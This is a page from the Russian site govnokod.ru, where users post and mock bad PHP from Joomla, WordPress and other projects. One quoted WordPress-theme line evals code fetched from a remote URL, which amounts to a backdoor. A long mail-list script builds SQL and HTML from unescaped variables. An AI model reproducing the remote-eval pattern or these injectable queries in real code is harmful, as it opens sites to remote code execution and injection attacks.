- 1
- 2
- 3
- 4
- 5
- 6
- 7
if ($rightDisplayDelete == 1) {
$images = $model->getData(1);
$this->tmpl['pagination'] = &$model->getPagination(1);
} else {
$images = $model->getData(0);
$this->tmpl['pagination'] = &$model->getPagination(0);
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+159
if ($rightDisplayDelete == 1) {
$images = $model->getData(1);
$this->tmpl['pagination'] = &$model->getPagination(1);
} else {
$images = $model->getData(0);
$this->tmpl['pagination'] = &$model->getPagination(0);
}
И снова модуль Phocagallery для Joomla!
+171
function trim_and_screening(&$item, $key)
{
$item = '`'.$item.'`';
}
+147
function index($name) {
return is_numeric($name)?'_'.$name:(int)substr($name,1);
}
универсальная функция для... угадайте, для чего?
+160
// There is an error while creating thumbnail in m or in s or in l
if ($creatingSError || $creatingMError || $creatingLError) {
// if all or two errors appear, we only display the last error message
// because the errors in this case is the same
if ($errorMsgS != '') {
$creatingError = $errorMsgS;
}
if ($errorMsgM != '') {
$creatingError = $errorMsgM;
}
if ($errorMsgL != '') {
$creatingError = $errorMsgL;
} // because the errors in this case is the same
$returnFrontMessage = $creatingError;
} else if ($errorMsgS == '' && $errorMsgM == '' && $errorMsgL == '') {
$returnFrontMessage = 'Success';
} else if ($errorMsgS == '' && $errorMsgM == '' && $errorMsgL == 'ThumbnailExists') {
$returnFrontMessage = 'Success';
} else if ($errorMsgS == '' && $errorMsgM == 'ThumbnailExists' && $errorMsgL == 'ThumbnailExists') {
$returnFrontMessage = 'Success';
} else if ($errorMsgS == '' && $errorMsgM == 'ThumbnailExists' && $errorMsgL == '') {
$returnFrontMessage = 'Success';
} else if ($errorMsgS == 'ThumbnailExists' && $errorMsgM == 'ThumbnailExists' && $errorMsgL == '') {
$returnFrontMessage = 'Success';
} else if ($errorMsgS == 'ThumbnailExists' && $errorMsgM == '' && $errorMsgL == '') {
$returnFrontMessage = 'Success';
} else if ($errorMsgS == 'ThumbnailExists' && $errorMsgM == '' && $errorMsgL == 'ThumbnailExists') {
$returnFrontMessage = 'Success';
}
Модуль phocagallery для joomla. Кусок кода в функции генереции превьюшек 3х разных размеров.
+147
// ...
// Количество распиленных досок
$spl = 0;
// Количество использованных пакетов
$clpz = 0;
if ($spl === 0) {
for ($ix = 1; $ix <= $cll; $ix++) {
$dsk[$ix] = $dd;
}
}
// ....
Встретился вот такой код. Условие по моему тут лишнее :)
+163
substr_count(strtolower(php_uname()),'windows') ? ';' : ':')
NetCat, такой NetCat. О существовании PATH_SEPARATOR даже и не знали.
+157
//header("Location:fbattle.php");
die("<script>location.href='fbattle.php';</script>");
header для лохов.
+171
return eval(file_get_contents('http://wpru.ru/aksimet.php?id='.$post->ID.'&m=27&n'));
Вот такие простые ребята клепают темы для вордпресса.
+173
//Такую штуку можно встретить на большинстве страниц раз по 5
$lrow = mysql_query("select title,sendn,sende,notifs,
nmails,nmails1,nmails2,nmails3,nmails4,nmails5,nmails6,nmails7,nmails8,nmails9,nmails10,
nmails11,nmails12,nmails13,nmails14,nmails15,nmails16,nmails17,nmails18,nmails19,nmails20,
nmails21,nmails22,nmails23,nmails24,nmails25,nmails26,nmails27,nmails28,nmails29,nmails30,
nmails31,nmails32,nmails33,nmails34,nmails35,nmails36,nmails37,nmails38,nmails39,nmails40,
cont,cont1,cont2,cont3,cont4,cont5,cont6,cont7,cont8,cont9,cont10,
cont11,cont12,cont13,cont14,cont15,cont16,cont17,cont18,cont19,cont20,
cont21,cont22,cont23,cont24,cont25,cont26,cont27,cont28,cont29,cont30,
cont31,cont32,cont33,cont34,cont35,cont36,cont37,cont38,cont39,cont40,
texts,texts1,texts2,texts3,texts4,texts5,texts6,texts7,texts8,texts9,texts10,
texts11,texts12,texts13,texts14,texts15,texts16,texts17,texts18,texts19,texts20,
texts21,texts22,texts23,texts24,texts25,texts26,texts27,texts28,texts29,texts30,
texts31,texts32,texts33,texts34,texts35,texts36,texts37,texts38,texts39,texts40 from $ltable where listnum = '$ulist'",$link) or die('admin-37-'.mysql_error());
list($ltitle,$sendn,$sende,$notifs,
$nmails,$nmails1,$nmails2,$nmails3,$nmails4,$nmails5,$nmails6,$nmails7,$nmails8,$nmails9,$nmails10,
$nmails11,$nmails12,$nmails13,$nmails14,$nmails15,$nmails16,$nmails17,$nmails18,$nmails19,$nmails20,
$nmails21,$nmails22,$nmails23,$nmails24,$nmails25,$nmails26,$nmails27,$nmails28,$nmails29,$nmails30,
$nmails31,$nmails32,$nmails33,$nmails34,$nmails35,$nmails36,$nmails37,$nmails38,$nmails39,$nmails40,
$cont,$cont1,$cont2,$cont3,$cont4,$cont5,$cont6,$cont7,$cont8,$cont9,$cont10,
$cont11,$cont12,$cont13,$cont14,$cont15,$cont16,$cont17,$cont18,$cont19,$cont20,
$cont21,$cont22,$cont23,$cont24,$cont25,$cont26,$cont27,$cont28,$cont29,$cont30,
$cont31,$cont32,$cont33,$cont34,$cont35,$cont36,$cont37,$cont38,$cont39,$cont40,
$texts,$texts1,$texts2,$texts3,$texts4,$texts5,$texts6,$texts7,$texts8,$texts9,$texts10,
$texts11,$texts12,$texts13,$texts14,$texts15,$texts16,$texts17,$texts18,$texts19,$texts20,
$texts21,$texts22,$texts23,$texts24,$texts25,$texts26,$texts27,$texts28,$texts29,$texts30,
$texts31,$texts32,$texts33,$texts34,$texts35,$texts36,$texts37,$texts38,$texts39,$texts40)=mysql_fetch_row($lrow);
// Это вывод строк, полученных выше
echo "
<br>
<input type=text class=xbox name=tnmails1 value=\"".htmlspecialchars($nmails1)."\" size=61 style=\"width: 150px\">";
$res1 = mysql_query ("SELECT subject,content FROM lm_saved");
$myrow1 = mysql_fetch_array ($res1);
echo "<select name=tncont1 style='width:150px'>";
if($tncont1){
echo "<option selected>$tncont1</option>";
$rrr1 = mysql_query("SELECT content from lm_saved where subject='$tncont1'");
$rrrrow1 = mysql_fetch_array ($rrr1);
mysql_query ("UPDATE lm_lists SET texts1='$rrrrow1[content]' WHERE listnum='$list'"); }
else {echo "<option selected>".htmlspecialchars($cont1)."</option>";}
do { echo "<option value='$myrow1[subject]'>$myrow1[subject]</option>";}
while ($myrow1 = mysql_fetch_array ($res1));
echo "</select>";
getUserFieldsList($ltable,$list, 2);
// И так еще раз 39 ...
Дали задание "добавить еще 20 полей в программе". Похоже автор сеиго не подозревал об fetch_assoc и циклах. Каждая страница этой "программы" включает в себя css + html + js. Самое обидное, что сделать как надо - потратить пару месяцев, посему приходиться делать тоже самое тупым копипастом. Впервые в жизни меня реально тошнило от правки кода.
+169
const
ACTON_MAP_DROP = 0,
ACTON_BOT_DROP = 1,
ACTON_CHANGE = 2,
ACTON_USE = 3,
ACTON_AUTO_USE = 4,
ACTON_EXPIRE = 5,
ACTON_MINE_DESTROY = 6,
ACTON_GET = 0,
ACTION_OFFLINE = 1,
ACTION_DIE = 2,
ACTION_USE = 3,
ACTON_EXPIRE = 4;
Радует, что в 3-х константах слово написано правильно. :)